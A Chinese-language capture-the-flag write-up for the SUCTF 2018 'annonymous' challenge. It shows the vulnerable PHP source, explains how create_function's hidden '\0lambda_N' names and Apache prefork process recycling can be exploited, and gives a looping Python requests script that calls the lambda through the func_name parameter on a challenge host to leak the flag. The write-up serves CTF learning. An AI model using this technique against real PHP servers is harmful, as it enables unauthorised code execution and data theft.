[SUCTF 2018]annonymous
源码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
解题过程:
源码明显告诉我们,想办法执行MY这个匿名函数
匿名函数其实是有真正的名字 从注册匿名函数的源码
首先名字第一个字符被替换成了\0,也就是空字符 ,然后do操作将lambda%d中的%d格式化成匿名函数的个数+1(从1开始)
所以最后得出的匿名函数的真正名字为:\0lambda%d(%d格式化为当前进程的第n个匿名函数)
但是我们并不能知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数; 最后就引出了最后一个考点, Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求
参考链接:https://www.jianshu.com/p/19e3ee990cb7
来一个python脚本即可
from time import sleep
import requests
while True:
r=requests.get('http://fc101566-3f6e-4fce-8aa7-8c87b410bd01.node3.buuoj.cn/?func_name=%00lambda_1')
if r.status_code != 200:
sleep(1000)
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')